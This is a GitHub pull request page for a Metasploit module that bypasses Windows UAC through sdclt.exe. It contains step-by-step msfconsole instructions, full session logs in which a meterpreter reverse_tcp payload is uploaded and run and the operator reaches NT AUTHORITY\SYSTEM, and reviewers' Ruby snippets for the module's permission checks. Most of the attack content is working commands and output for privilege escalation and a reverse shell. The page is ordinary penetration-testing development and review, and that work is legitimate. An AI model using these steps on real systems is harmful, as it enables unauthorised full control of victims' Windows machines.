Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Windows backup system sdclt uac bypass module #12494

Merged
merged 3 commits into from Nov 18, 2019

Conversation

@bwatters-r7
Copy link
Contributor

bwatters-r7 commented Oct 25, 2019

This is another one of those auto-elevate registry key UAC bypass bugs. It targets the Windows backup and restore binary sdclt.exe.

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • get a 64-bit meterpreter session
  • background your session
  • use exploit/windows/local/bypassuac_sdclt
  • set payload windows/x64/meterpreter/reverse_tcp
  • set lhost <lhost>
  • set lport <lport>
  • set session <session>
  • set verbose true
  • run
  • getsystem
  • Verify you are system
  • Do the w00t dance

Entire Process

msf5 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.135.168  yes       The listen address (an interface may be specified)
   LPORT     5555             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.135.168:5555 
[*] Sending stage (206403 bytes) to 192.168.132.125
[*] Meterpreter session 1 opened (192.168.135.168:5555 -> 192.168.132.125:49674) at 2019-10-25 14:52:38 -0500

meterpreter > sysinfo
Computer        : DESKTOP-D1E425Q
OS              : Windows 10 (10.0 Build 17134).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: DESKTOP-D1E425Q\msfuser
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac_sdclt 
msf5 exploit(windows/local/bypassuac_sdclt) > set session 1
session => 1
msf5 exploit(windows/local/bypassuac_sdclt) > set verbose true
verbose => true
msf5 exploit(windows/local/bypassuac_sdclt) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/local/bypassuac_sdclt) > set lhost 192.168.135.168
lhost => 192.168.135.168
msf5 exploit(windows/local/bypassuac_sdclt) > show options

Module options (exploit/windows/local/bypassuac_sdclt):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   PAYLOAD_NAME                   no        The filename to use for the payload binary (%RAND% by default).
   SESSION       1                yes       The session to run this module on.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.135.168  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x64


msf5 exploit(windows/local/bypassuac_sdclt) > run

[*] Started reverse TCP handler on 192.168.135.168:4444 
[*] UAC is Enabled, checking level...
[*] Checking admin status...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] win_dir = C:\Windows
[*] tmp_dir = C:\Users\msfuser\AppData\Local\Temp
[*] exploit_dir = C:\Windows\System32\
[*] exploit_file = C:\Windows\System32\sdclt.exe
[*] payload_pathname = C:\Users\msfuser\AppData\Local\Temp\YwaGlnJtV.exe
[*] Making Payload
[*] reg_command = C:\Windows\System32\cmd.exe /c start C:\Users\msfuser\AppData\Local\Temp\YwaGlnJtV.exe
[*] Uploading Payload to C:\Users\msfuser\AppData\Local\Temp\YwaGlnJtV.exe
[*] Payload Upload Complete
[*] Launching C:\Windows\System32\sdclt.exe
[!] This exploit requires manual cleanup of 'C:\Users\msfuser\AppData\Local\Temp\YwaGlnJtV.exe!
[*] Please wait for session and cleanup....
[*] Sending stage (206403 bytes) to 192.168.132.125
[*] Meterpreter session 2 opened (192.168.135.168:4444 -> 192.168.132.125:49679) at 2019-10-25 14:55:08 -0500
[*] Removing Registry Changes
[*] Registry Changes Removed

meterpreter > sysinfo
Computer        : DESKTOP-D1E425Q
OS              : Windows 10 (10.0 Build 17134).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: DESKTOP-D1E425Q\msfuser
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 
@bwatters-r7

This comment has been minimized.

Copy link
Contributor Author

bwatters-r7 commented Oct 28, 2019

As a aside, this method likely works on 32-bit Windows versions, but this module only supports 64-bit as it is written. Is it worth the time to make these work on both architectures?

modules/exploits/windows/local/bypassuac_sdclt.rb Outdated Show resolved Hide resolved
modules/exploits/windows/local/bypassuac_sdclt.rb Outdated Show resolved Hide resolved
modules/exploits/windows/local/bypassuac_sdclt.rb Outdated Show resolved Hide resolved
modules/exploits/windows/local/bypassuac_sdclt.rb Outdated Show resolved Hide resolved
admin_group = is_in_admin_group?
if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
else
if admin_group
print_good('Part of Administrators group! Continuing...')
else
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
end

if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
end
end
Comment on lines 152 to 167

This comment has been minimized.

Copy link
@bcoles

bcoles Oct 31, 2019

Contributor

Observation - not a suggestion.

get_integrity_level and is_in_admin_group? both utilise the same whoami functionality. The former will not succeed if the latter does not succeed.

Given the messy return types (true, false, maybe nil), refactoring this code isn't of much use. None the less, I offer the following:

    admin_group = is_in_admin_group?
    if admin_group
      print_good('Part of Administrators group! Continuing...')
      if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
        fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
      end
    else
      if admin_group.nil?
        print_error('Either whoami is not there or failed to execute')
        print_error('Continuing under assumption you already checked...')
      else
        fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
      end
    end

or

    admin_group = is_in_admin_group?

    if admin_group == false
      fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
    end

    if admin_group.nil?
      print_error('Either whoami is not there or failed to execute')
      print_error('Continuing under assumption you already checked...')
    else
      print_good('Part of Administrators group! Continuing...')
      if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
        fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
      end
    end

or

    case is_in_admin_group?
    when true
      print_good('Part of Administrators group! Continuing...')
      if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
        fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
      end
    when false
      fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
    when nil
      print_error('Either whoami is not there or failed to execute')
      print_error('Continuing under assumption you already checked...')
    end

Also, perhaps the print_error should be print_warning, as execution will continue.

Another option would be to implement ForceExploit functionality, and bail out if admin_group is false or nil, with an option to bypass by setting ForceExploit to true.

¯\_(ツ)_/¯

This comment has been minimized.

Copy link
@bwatters-r7

bwatters-r7 Nov 7, 2019

Author Contributor

I really like that third option. It is ugly, but I think the revulsion at a case statement with true/false is a great literary device to bring home the point of the required complexity, if that makes sense.....

This comment has been minimized.

Copy link
@bcoles

bcoles Nov 8, 2019

Contributor

I really like that third option.

Options 2 and 3 are my preferences.

Option 2 : return early return often.

Option 3 : short and fairly easy to read.

This comment has been minimized.

Copy link
@bcoles

bcoles Nov 16, 2019

Contributor

I probably should have looked at other example modules first, before I wrote up those examples above.

It looks like the case / when block approach has been used before.

  def check_permissions
    # Check if you are an admin
    case is_in_admin_group?
    when nil
      print_error('Either whoami is not there or failed to execute')
      print_error('Continuing under assumption you already checked...')
    when true
      print_good('Part of Administrators group! Continuing...')
    when false
      fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
    end

    if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
      fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
    end
  end
bwatters-r7 added 2 commits Nov 7, 2019
@bwatters-r7

This comment has been minimized.

Copy link
Contributor Author

bwatters-r7 commented Nov 13, 2019

I think I hit the important points. Anything left on this before we can land?

@busterb busterb self-assigned this Nov 15, 2019
@busterb

This comment has been minimized.

Copy link
Member

busterb commented Nov 16, 2019

Do you know when this bypass was fixed? I wasn't successful with a fairly recent install:

msf5> exploit(windows/local/bypassuac_sdclt) > sessions -C sysinfo
[*] Running 'sysinfo' on meterpreter session 1 (192.168.56.103)
Computer        : DESKTOP-B8ALP1P
OS              : Windows 10 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
msf5> exploit(windows/local/bypassuac_sdclt) > run

[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[!] This exploit requires manual cleanup of 'C:\Users\bcook\AppData\Local\Temp\ZJuWTfMBArOvhh.exe!
[*] Please wait for session and cleanup....
[*] Registry Changes Removed
[*] Exploit completed, but no session was created.
@timwr

This comment has been minimized.

Copy link
Contributor

timwr commented Nov 16, 2019

Works for me on OS : Windows 10 (10.0 Build 17134).
Microsoft Windows [Version 10.0.17134.885]

@timwr

This comment has been minimized.

Copy link
Contributor

timwr commented Nov 16, 2019

msf5 exploit(multi/script/web_delivery) > use exploit/windows/local/bypassuac_sdclt
msf5 exploit(windows/local/bypassuac_sdclt) > set SESSION -1
SESSION => -1
msf5 exploit(windows/local/bypassuac_sdclt) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/local/bypassuac_sdclt) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf5 exploit(windows/local/bypassuac_sdclt) > set VERBOSE true
VERBOSE => true
msf5 exploit(windows/local/bypassuac_sdclt) > rexploit
[*] Reloading module...

[-] Handler failed to bind to 192.168.56.1:4444:-  -
[-] Handler failed to bind to 0.0.0.0:4444:-  -
[*] UAC is Enabled, checking level...
[*] Checking admin status...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] win_dir = C:\WINDOWS
[*] tmp_dir = C:\Users\User\AppData\Local\Temp
[*] exploit_dir = C:\WINDOWS\System32\
[*] exploit_file = C:\WINDOWS\System32\sdclt.exe
[*] payload_pathname = C:\Users\User\AppData\Local\Temp\RtcyRrPNU.exe
[*] Making Payload
[*] reg_command = C:\WINDOWS\System32\cmd.exe /c start C:\Users\User\AppData\Local\Temp\RtcyRrPNU.exe
[*] Uploading Payload to C:\Users\User\AppData\Local\Temp\RtcyRrPNU.exe
[*] Payload Upload Complete
[*] Launching C:\WINDOWS\System32\sdclt.exe
[!] This exploit requires manual cleanup of 'C:\Users\User\AppData\Local\Temp\RtcyRrPNU.exe!
[*] Please wait for session and cleanup....
[*] Encoded stage with x64/xor_dynamic
[*] Sending encoded stage (207174 bytes) to 192.168.56.3
[*] Meterpreter session 3 opened (192.168.56.1:4444 -> 192.168.56.3:49678) at 2019-11-17 00:03:12 +0800
[*] Encoded stage with x64/xor_dynamic
[*] Sending encoded stage (207174 bytes) to 192.168.56.3
[*] Meterpreter session 4 opened (192.168.56.1:4444 -> 192.168.56.3:49679) at 2019-11-17 00:03:12 +0800

^C[-] Exploit failed [user-interrupt]: Interrupt
[-] rexploit: Interrupted
msf5 exploit(windows/local/bypassuac_sdclt) > sessions

Active sessions
===============

  Id  Name  Type                     Information                             Connection
  --  ----  ----                     -----------                             ----------
  2         meterpreter x64/windows  DESKTOP-5E3GRS6\User @ DESKTOP-5E3GRS6  192.168.56.1:4444 -> 192.168.56.3:49677 (192.168.56.3)
  3         meterpreter x64/windows                                          192.168.56.1:4444 -> 192.168.56.3:49678 (192.168.56.3)
  4         meterpreter x64/windows  DESKTOP-5E3GRS6\User @ DESKTOP-5E3GRS6  192.168.56.1:4444 -> 192.168.56.3:49679 (192.168.56.3)

msf5 exploit(windows/local/bypassuac_sdclt) > sessions 4
[*] Starting interaction with 4...

meterpreter > pwd
C:\WINDOWS\system32
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > sysinfo
Computer        : DESKTOP-5E3GRS6
OS              : Windows 10 (10.0 Build 17134).
Architecture    : x64
System Language : en_GB
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > [*] 192.168.56.3 - Meterpreter session 3 closed.  Reason: Died

meterpreter >

You can ignore the extra session (3), it's a java session failing to establish.

@timwr
timwr approved these changes Nov 16, 2019
print_status("Registry Changes Removed")
end

def check_permissions!

This comment has been minimized.

Copy link
@timwr

timwr Nov 16, 2019

Contributor

We should consider moving this function to a mixin at some point, it seems to be duplicated

This comment has been minimized.

Copy link
@wvu-r7

wvu-r7 Nov 16, 2019

Contributor

Much of the UAC bypass code is. At least a mixin, and then that unified module we all keep talking about.

This comment has been minimized.

Copy link
@timwr

timwr Nov 17, 2019

Contributor

Since it's duplicated in so many places I think it would make sense to land this as is and refactor in a separate pull request

[
['URL', 'https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/'],
['URL', 'https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-SDCLTBypass.ps1'],
['URL', 'http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass']

This comment has been minimized.

Copy link
@timwr

timwr Nov 16, 2019

Contributor

https :trollface:

This comment has been minimized.

Copy link
@busterb
busterb added a commit that referenced this pull request Nov 18, 2019
@busterb busterb merged commit ef6ae90 into rapid7:master Nov 18, 2019
3 checks passed
3 checks passed
Metasploit Automation - Sanity Test Execution Successfully completed all tests.
Details
Metasploit Automation - Test Execution Successfully completed all tests.
Details
continuous-integration/travis-ci/pr The Travis CI build passed
Details
@busterb

This comment has been minimized.

Copy link
Member

busterb commented Nov 18, 2019

Thanks everyone for the help and review.

msjenkins-r7 added a commit that referenced this pull request Nov 18, 2019
@busterb

This comment has been minimized.

Copy link
Member

busterb commented Nov 18, 2019

Release Notes

The bypassuac_sdclt module targets the auto-elevate feature in the Windows backup system's sdclt.exe binary to execute a session a higher integrity process.

@tdoan-r7 tdoan-r7 added the rn-modules label Dec 11, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
6 participants
You can’t perform that action at this time.